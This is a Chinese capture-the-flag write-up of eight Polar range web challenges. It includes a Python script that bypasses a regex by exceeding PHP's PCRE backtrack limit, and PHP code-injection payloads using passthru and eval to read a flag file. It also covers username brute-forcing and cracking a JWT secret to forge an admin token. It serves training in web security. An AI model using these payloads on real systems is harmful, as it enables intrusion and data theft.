Polar靶场-Web简单题目记录(1-8)
Polar靶场-SWP题目
- 题目考查点:目录探测+代码审计
- 题目使用工具:dirsearch
查看题目提示,需要查看swp文件

扫描目录发现/.index.php.swp

访问查看swp文件,发现存在代码

通过对代码分析:
- 正则验证函数:
jiuzhe():函数使用preg_match('/sys.*nb/is', $xdmtql):进行模式匹配。该正则表达式匹配包含 "sys" 后接任意字符(包括换行符,.符号通过s修饰符匹配所有字符),最后以 "nb" 结尾的字符串(例如 "sysXnb" 或 "sys\nNB"),且不区分大小写(i修饰符)。
1.输入处理逻辑
- 当输入参数xdmtql非数组时,依次执行以下检查:① 若jiuzhe()返回false(即未匹配正则),则进一步检查字符串是否包含固定子串 "sys nb"(需严格匹配空格),存在则输出 flag。② 若jiuzhe()返回true(正则匹配成功),则输出 "nijilenijile"。
2.绕过关键点
- 需构造输入既绕过正则匹配(使jiuzhe()返回false),又包含 "sys nb" 子串。可能的方式包括:
- 回溯次数限制绕过:提交超长字符串(如 "sys" 后接百万字符 +"nb"),触发 PHP 的 PCRE 回溯限制(默认 1,000,000 次),导致preg_match()返回false。此时若字符串中某处存在 "sys nb",可满足strpos条件。
- 换行符干扰:尝试提交 "sys%0anb"(换行符可能干扰正则解析但保留子串匹配),但需注意s修饰符允许.匹配换行符,此方法可能失效。
import requests
import validators
from time import sleep
url = "靶场url"
data = {"xdmtql": "sys nb" + "a" * 999999}
def send_request(url, data, retries=3, delay=2):
if not validators.url(url):
print("提供的URL无效,请检查链接的合法性。")
return None
for attempt in range(retries):
try:
response = requests.post(url, data=data, timeout=10)
response.raise_for_status() # 检查HTTP状态码
return response.content
except requests.exceptions.RequestException as e:
print(f"请求失败(尝试 {attempt + 1}/{retries}): {e}")
if attempt < retries - 1:
print(f"正在重试,等待 {delay} 秒...")
sleep(delay)
else:
print("所有重试均失败,请检查网络连接或稍后重试。")
return None
response_content = send_request(url, data)
if response_content:
print("请求成功!")
print("响应内容:")
print(response_content)
else:
print("无法获取响应内容。")
Polar靶场-简单rce题目
- 题目考查点:代码审计
访问靶场,查看题

对代码进行审计,触发条件如下:
- 必须同时满足两个条件才能执行 eval:
- 通过 GET 请求传递sys参数
- 通过 POST 请求提交yyds=666
解题思路1
GET /?sys=passthru('sort%09/flag'); POST / HTTP/1.1 yyds=666
解题思路2
GET /?sys=eval($_POST[1]); POST / HTTP/1.1 yyds=666&1=echocat ../../flag;
Polar靶场-蜜雪冰城吉警店
- 题目考查点:前端修改
根据提示,修改id数值

Polar靶场-召唤神龙
- 题目考查点:JSFuck
什么是JSFuck?
JSFuck是基于JavaScript原子部分的深奥和教育性编程风格。它仅仅使用六个不同的字符来编写和执行代码。
分别是:{ } [ ] + ! 它不依赖于浏览器,因此可以在Node.js上运行。
打开网址,发现是js小游戏,先查看源码,没有可以利用的信息,然后用调试器查看,看到main.js有一串明显的jsfuck

通过解码网址进行解密

Polar靶场-seek flag
单看页面没有任何提示,查看网站源代码发现存在提示

扫描目录发现存在/robots.txt

访问robots.txt

获取到部分flag,抓包看一下网站,发现存在id数值,修改原有0等于1 获取flag2和flag3

Polar靶场-login
查看源码,发现存在登录账号密码,登录后无任何回显

尝试修改账号,进行遍历,发现存在回显

进行对用户名处进行爆破,获取flag

Polar靶场-JWT
首先任意注册一个账号,进行登录

登录后抓包,发现存在jwt格式数据

使用jwt-cracker进行爆破,获取对称密钥SYSA

构造admin jwt 进行登录

获取flag

Polar靶场-iphone
- 题目考查点:UA字段
根据题目提示,需要使用iphone UA进行访问,才能回显flag

修改浏览器UA头,添加iphone,获取flag


浙公网安备 33010602011771号